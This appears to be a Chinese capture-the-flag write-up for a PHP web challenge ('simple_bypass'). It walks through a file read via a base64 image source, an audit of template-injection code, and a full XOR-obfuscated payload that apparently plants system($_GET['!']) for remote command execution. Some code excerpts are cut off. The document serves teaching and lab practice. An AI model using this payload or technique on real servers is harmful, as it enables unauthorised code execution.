simple_bypass

开靶机,发现一个登录与注册的页面,尝试sql注入,无果,随便注册一个登录上去

simple_bypass_第1张图片

东西很多,到处点一点,发现在杰哥那张图片的元素中有base64编码

simple_bypass_第2张图片 

拿到base64转图片去看一下,BASE64转图片 - 站长工具 - 极速数据 (jisuapi.com)

simple_bypass_第3张图片

发现有图片出来,说明应该可以通过这个来任意读取文件内容,

simple_bypass_第4张图片 

再往上能看到一个src,提示了我们获取文件的方法,

simple_bypass_第5张图片 

读到index.php内容的base64编码,解密Base64 在线编码解码 | Base64 加密解密 - Base64.us 

 6){
			echo("");
		}
		elseif(strlen($_POST['website']) > 25){
			echo("");
		}
		elseif(strlen($_POST['punctuation']) > 1000){
			echo("");
		}
		else{
			if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
				if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
					$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
					$template = file_get_contents('./template.html');
					$content = str_replace("__USER__", $_POST['user'], $template);
					$content = str_replace("__PASS__", $hash_pass, $content);
					$content = str_replace("__WEBSITE__", $_POST['website'], $content);
					$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
					file_put_contents('sandbox/'.$hash_user.'.php', $content);
					echo("");
				}
				else{
					echo("");
				}
			}
			else{
				echo("");
			}
		}
	}
	else{
		setcookie("user", $_POST['user'], time()+3600);
		setcookie("pass", $hash_pass, time()+3600);
		Header("Location:sandbox/$hash_user.php");
	}
}
?>

审计代码(还好简单,不然我这个菜鸡就寄了),几个post传参,并对长度进行了限制,然后正则匹配过滤。

看到这个

$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);

 很像无字母数字rce,先看看后面的,获取了template.html的页面内容,并进行了一些替换,我们再去看看template.html的代码

上面的头部不用管,直接看body


  • alert('Permission denied!');"); } ?>
  • 系统设置
  • 使用指南
  • 关于我们
  • 退出系统
__PUNC__
  • 图片
  • 游戏
  • 好康的
  • 你的网站

可以看到几个被插入的数据位置

·user:

simple_bypass_第6张图片

主要是这里,但是index.php对他的长度进行了限制,所以不能在这里构造

 ·passwd

在index.php中被md5编码了,也不行。

·website

simple_bypass_第7张图片

插入到了标签里面,不好操作

·punctuation 

simple_bypass_第8张图片

可以看到被a标签包裹着,而且限制长度最松,就选他了

那么要如何利用呢,可以在用户名那里写半个多行注释符,再在后面的__PUNC__或者__WEBSITE__使用半个注释符进行闭合,然后构造恶意代码,再在最后使用半个多行注释符把后面注释掉就可以了

 用异或或自增都可以

user=1)/*&passwd=1&website=1&punctuation=*/;$_='($((%-'^'[][\@@';$__='#:%('^'|}`|';$___=$$__;echo $___;$_($___['!']);/*

我们看一下这样创建一个账号,插入到template是个什么样子

alert('Permission denied!');");
			}
		?>
		
      
      
  • 系统设置
  • 使用指南
  • 关于我们
  • 退出系统
*/;$_='($((%-'^'[][\@@';$__='#:%('^'|}`|';$___=$$__;echo $___;$_($___['!']);/*
  • 图片

    很明显看出被构造成了一个php脚本,其他无用代码都被注释了

    simple_bypass_第9张图片

    simple_bypass_第10张图片 

    登录 ,跟之前页面不一样没关系

    simple_bypass_第11张图片

     直接get传参拿到flag

你可能感兴趣的:(打靶笔记,安全,web安全,php)